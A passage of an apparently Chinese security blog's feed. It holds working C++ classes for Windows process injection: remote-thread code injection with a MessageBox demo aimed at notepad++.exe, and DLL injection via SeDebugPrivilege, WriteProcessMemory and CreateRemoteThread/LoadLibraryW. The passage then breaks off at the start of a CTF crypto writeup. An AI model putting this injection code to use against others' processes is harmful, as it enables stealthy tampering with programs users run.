class="line"></span><br><span class="line"><span class="comment">//通过CreateRemoteThread启动刚写入的代码，参数为Param</span></span><br><span class="line">hRemoteThread = CreateRemoteThread(hRemoteProcess, <span class="literal">NULL</span>, <span class="number">0</span>, lpRemoteEntryPoint, lpParam, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (hRemoteThread == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"CreateRemoteThread failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// //等待线程执行完成</span></span><br><span class="line"><span class="comment">// WaitForSingleObject(hRemoteThread, INFINITE);</span></span><br><span class="line"><span class="comment">// </span></span><br><span class="line"><span class="comment">// //获取完成</span></span><br><span class="line"><span class="comment">// DWORD dwExitCode;</span></span><br><span class="line"><span class="comment">// if (!GetExitCodeThread(hRemoteThread, &amp;dwExitCode))</span></span><br><span class="line"><span class="comment">// &#123;</span></span><br><span class="line"><span class="comment">// OutputDebugString(_T("GetExitCodeThread failedn"));</span></span><br><span class="line"><span class="comment">// bRet = FALSE;</span></span><br><span class="line"><span class="comment">// __leave;</span></span><br><span class="line"><span class="comment">//&#125;</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">__finally</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (lpNewMoudle != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">VirtualFree(lpNewMoudle, <span class="number">0</span>, MEM_RELEASE);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (hRemoteProcess != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">CloseHandle(hRemoteProcess);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> bRet;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//重载使用进程名</span></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectCode::Inject</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD dwProcID;</span><br><span class="line"><span class="keyword">if</span> (GetProcessIDByName(wszProcessName, dwProcID))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> Inject(dwProcID);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"GetProcessIDByName failedn"</span>));</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">附上使用demo</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"InjectCode.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//远程要执行的代码，在这里只演示MessageBox</span></span><br><span class="line"><span class="function">DWORD <span class="title">RemoteThread_Main1</span><span class="params">(HINSTANCE hInstance)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">::MessageBox(<span class="number">0</span>, \_T(<span class="string">"远程线程插入成功！"</span>), \_T(<span class="string">"远程线程"</span>), <span class="number">0</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">DWORD <span class="title">RemoteThread_Main2</span><span class="params">(HINSTANCE hInstance)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">::MessageBox(<span class="number">0</span>, \_T(<span class="string">"远程线程插入成功！"</span>), \_T(<span class="string">"远程线程"</span>), <span class="number">0</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> \_tmain(<span class="keyword">int</span> argc, \_TCHAR* argv\[\])</span><br><span class="line">&#123;</span><br><span class="line"><span class="function">CInjectCode <span class="title">injectcode</span><span class="params">(RemoteThread_Main1)</span></span>;</span><br><span class="line"><span class="keyword">if</span> injectcode.Inject(<span class="string">L"notepad++.exe"</span>);</span><br><span class="line">injectcode.SetRemoteThread\_Main(RemoteThread\_Main2);</span><br><span class="line">injectcode.Inject(<span class="number">164</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;通过CreateRemoteThread&amp;amp;WriteProcessMemory实现远程线程注入，没有通过加载DLL注入，有更好的隐蔽性。 参考：&lt;a href=&quot;http://www.vckbase.com/index.php/wv/1653/&quot; target=&quot;_
      
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>远程线程注入之DLL注入</title>
    <link href="https://blog.eadom.net/uncategorized/dll-injection/"/>
    <id>https://blog.eadom.net/uncategorized/dll-injection/</id>
    <published>2014-06-19T04:36:37.000Z</published>
    <updated>2025-11-21T12:45:50.769Z</updated>
    
    <content type="html"><![CDATA[<p>找到之前写的个类，ring3实现DLL注入进程，Inject()注入，Uninject()卸载</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Yufan</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">CInjectDLL a class for DLL injection</span></span><br><span class="line"><span class="comment">to inject use Inject()</span></span><br><span class="line"><span class="comment">to uninject use Uninject()</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> once</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdafx.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CInjectDLL</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">CInjectDLL(<span class="keyword">void</span>);</span><br><span class="line"><span class="function">BOOL <span class="title">Inject</span><span class="params">(<span class="keyword">const</span> DWORD dwRemoteProcessID, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span>;</span><br><span class="line"><span class="function">BOOL <span class="title">Inject</span><span class="params">(<span class="keyword">const</span> LPCWSTR wszProcessName, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span>;</span><br><span class="line"><span class="function">BOOL <span class="title">Uninject</span><span class="params">(<span class="keyword">const</span> DWORD dwRemoteProcessID, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span>;</span><br><span class="line"><span class="function">BOOL <span class="title">Uninject</span><span class="params">(<span class="keyword">const</span> LPCWSTR wszProcessName, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span>;</span><br><span class="line">~CInjectDLL(<span class="keyword">void</span>);</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"><span class="function">BOOL <span class="title">AdjustProcessTokenPrivilege</span><span class="params">()</span></span>;</span><br><span class="line"><span class="function">BOOL <span class="title">GetProcessID</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName, DWORD&amp; dwProcID)</span></span>;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">Yufan</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">CInjectDLL a class for DLL injection</span></span><br><span class="line"><span class="comment">to inject use Inject()</span></span><br><span class="line"><span class="comment">to uninject use Uninject()</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="comment">/************************************************************************/</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> once</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"StdAfx.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"InjectDLL.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"tlhelp32.h"</span></span></span><br><span class="line"></span><br><span class="line">CInjectDLL::CInjectDLL(<span class="keyword">void</span>)</span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">CInjectDLL::~CInjectDLL(<span class="keyword">void</span>)</span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectDLL::Inject</span><span class="params">(<span class="keyword">const</span> DWORD dwRemoteProcessID, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">wstring</span> wstrRemoteDllFullPath = lpwszRemoteDllFullPath;</span><br><span class="line">BOOL bRet;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!AdjustProcessTokenPrivilege())</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"AdjustProcessTokenPrivilege failn"</span>));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE hRemoteProgress = ::OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwRemoteProcessID);</span><br><span class="line"><span class="keyword">if</span> (hRemoteProgress == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"OpenProcess failn"</span>));</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Allocate remote memory</span></span><br><span class="line">DWORD dwMemSize = <span class="keyword">sizeof</span>(<span class="keyword">wchar_t</span>)*wstrRemoteDllFullPath.length()+<span class="number">1</span>;</span><br><span class="line">wchar\<span class="keyword">_t</span>* wszDllPath = reinterpret\_cast&lt;wchar\<span class="keyword">_t</span>*&gt;(::VirtualAllocEx(hRemoteProgress, <span class="literal">NULL</span>, dwMemSize, MEM\_COMMIT, PAGE_READWRITE));</span><br><span class="line"><span class="keyword">if</span> (wszDllPath == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"VirtualAllocEx failn"</span>));</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Write remote Memory</span></span><br><span class="line">bRet = ::WriteProcessMemory(hRemoteProgress, wszDllPath, wstrRemoteDllFullPath.c_str(), dwMemSize, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (!bRet)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"WriteProcessMemory failn"</span>));</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Create remote thread</span></span><br><span class="line">FARPROC pfnFunAddr = ::GetProcAddress(::GetModuleHandle(_T(<span class="string">"Kernel32"</span>)),<span class="string">"LoadLibraryW"</span>);</span><br><span class="line"><span class="keyword">if</span> (pfnFunAddr == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"GetProcAddress failn"</span>));</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE hCreateThread;</span><br><span class="line">hCreateThread = ::CreateRemoteThread(hRemoteProgress, <span class="literal">NULL</span>, <span class="number">0</span>, (LPTHREAD\_START\_ROUTINE) pfnFunAddr, wszDllPath, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (hCreateThread == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"CreateRemoteThread failn"</span>));</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line"></span><br><span class="line">::CloseHandle(hCreateThread);</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Wait for thread return</span></span><br><span class="line"><span class="comment">// DWORD hLibModule;</span></span><br><span class="line"><span class="comment">// WaitForSingleObject(hCreateThread, INFINITE);</span></span><br><span class="line"><span class="comment">// GetExitCodeThread(hCreateThread, &amp;hLibModule);</span></span><br><span class="line"></span><br><span class="line">::VirtualFreeEx(hRemoteProgress, reinterpret\_cast&lt;LPVOID&gt;(wszDllPath), dwMemSize, MEM\_COMMIT);</span><br><span class="line">::CloseHandle(hCreateThread);</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectDLL::Inject</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD dwProcID;</span><br><span class="line">GetProcessID(wszProcessName,dwProcID);</span><br><span class="line"><span class="keyword">if</span> (Inject(dwProcID, lpwszRemoteDllFullPath))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectDLL::Uninject</span><span class="params">(<span class="keyword">const</span> DWORD dwRemoteProcessID, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">wstring</span> wstrRemoteDllFullPath = lpwszRemoteDllFullPath;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Find injected DLL handle</span></span><br><span class="line">HANDLE hSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwRemoteProcessID);</span><br><span class="line">MODULEENTRY32 Me32 = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">Me32.dwSize = <span class="keyword">sizeof</span>(MODULEENTRY32);</span><br><span class="line"></span><br><span class="line">BOOL bRet = ::Module32First(hSnap, &amp;Me32);</span><br><span class="line"><span class="keyword">while</span> (bRet)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (wcscmp(Me32.szExePath, wstrRemoteDllFullPath.c_str()) == <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">bRet = ::Module32Next(hSnap, &amp;Me32);</span><br><span class="line">&#125;</span><br><span class="line">::CloseHandle(hSnap);</span><br><span class="line"></span><br><span class="line">HANDLE hRemoteProgress = ::OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwRemoteProcessID);</span><br><span class="line"><span class="keyword">if</span> (hRemoteProgress == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"OpenProcess failn"</span>));</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Create remote thread</span></span><br><span class="line">FARPROC pfnFunAddr = ::GetProcAddress(::GetModuleHandle(_T(<span class="string">"Kernel32"</span>)),<span class="string">"FreeLibrary"</span>);</span><br><span class="line"><span class="keyword">if</span> (pfnFunAddr == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"GetProcAddress failn"</span>));</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE hCreateThread;</span><br><span class="line">hCreateThread = ::CreateRemoteThread(hRemoteProgress, <span class="literal">NULL</span>, <span class="number">0</span>, (LPTHREAD\_START\_ROUTINE)pfnFunAddr, Me32.hModule, <span class="number">0</span>, <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (hCreateThread == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"CreateRemoteThread failn"</span>));</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line">::CloseHandle(hCreateThread);</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Wait for thread return</span></span><br><span class="line"><span class="comment">//DWORD hLibModule;</span></span><br><span class="line"><span class="comment">//WaitForSingleObject(hCreateThread, INFINITE);</span></span><br><span class="line"><span class="comment">//GetExitCodeThread(hCreateThread, &amp;hLibModule);</span></span><br><span class="line"></span><br><span class="line">::CloseHandle(hCreateThread);</span><br><span class="line">::CloseHandle(hRemoteProgress);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectDLL::Uninject</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName, <span class="keyword">const</span> LPCTSTR&amp; lpwszRemoteDllFullPath)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD dwProcID;</span><br><span class="line">GetProcessID(wszProcessName,dwProcID);</span><br><span class="line"><span class="keyword">if</span> (Uninject(dwProcID, lpwszRemoteDllFullPath))</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectDLL::AdjustProcessTokenPrivilege</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">LUID luidTmp;</span><br><span class="line">HANDLE hToken;</span><br><span class="line">TOKEN_PRIVILEGES tkp;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN_QUERY, &amp;hToken))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"AdjustProcessTokenPrivilege OpenProcessToken Failed ! n"</span>));</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!LookupPrivilegeValue(<span class="literal">NULL</span>, SE\_DEBUG\_NAME, &amp;luidTmp))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! n"</span>));</span><br><span class="line"></span><br><span class="line">CloseHandle(hToken);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tkp.PrivilegeCount = <span class="number">1</span>;</span><br><span class="line">tkp.Privileges\[<span class="number">0</span>\].Luid = luidTmp;</span><br><span class="line">tkp.Privileges\[<span class="number">0</span>\].Attributes = SE\_PRIVILEGE\_ENABLED;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!AdjustTokenPrivileges(hToken, FALSE, &amp;tkp, <span class="keyword">sizeof</span>(tkp), <span class="literal">NULL</span>, <span class="literal">NULL</span>))</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! n"</span>));</span><br><span class="line"></span><br><span class="line">CloseHandle(hToken);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectDLL::GetProcessID</span><span class="params">(<span class="keyword">const</span> <span class="keyword">wchar_t</span>* wszProcessName, DWORD&amp; dwProcID)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">HANDLE hSnapShot= ::CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, dwProcID );</span><br><span class="line">PROCESSENTRY32 pe= &#123;<span class="keyword">sizeof</span>(pe)&#125;;</span><br><span class="line">BOOL bOk= ::Process32First( hSnapShot, &amp;pe );</span><br><span class="line"><span class="keyword">while</span>( bOk )</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//wprintf(TEXT("ProcessID : %d, Name : %sn"), pe.th32ProcessID, pe.szExeFile);</span></span><br><span class="line"><span class="keyword">if</span> (wcsstr(pe.szExeFile, wszProcessName)!=<span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">dwProcID = pe.th32ProcessID;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">bOk= ::Process32Next( hSnapShot, &amp;pe );</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">::CloseHandle(hSnapShot);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;找到之前写的个类，ring3实现DLL注入进程，Inject()注入，Uninject()卸载&lt;/p&gt;
&lt;figure class=&quot;highlight cpp&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1
      
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>ACTF2014之crypto200买不到票的怨念writerup</title>
    <link href="https://blog.eadom.net/writeups/actf2014-crypto200-writerup/"/>
    <id>https://blog.eadom.net/writeups/actf2014-crypto200-writerup/</id>
    <published>2014-04-07T02:40:50.000Z</published>
    <updated>2025-11-21T12:45:50.757Z</updated>
    
    <content type="html"><![CDATA[<p>题目 买不到TI4的门票觉得人生好灰暗。。<a href="http://yfcnblog.sinaapp.com/?attachment_id=76" target="_blank" rel="noopener">ACTF2014crypto200.tar</a> ————割———— 解压以后是一个加密脚本，注意key是未知的，所以先研究算法想办法推出加密的key。 已知明文msg01和密文msg01.enc。 研究算法发现对明文加密时只用到上一位的密文以及key[i%len(key)]即key中的一个字符，并且是按位加密。 于是可以从msg01第一位开始遍历0-9a-zA-Z，与msg01.enc匹配就可以得到key的第一位，然后以此类推就能推出全部的key 代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span 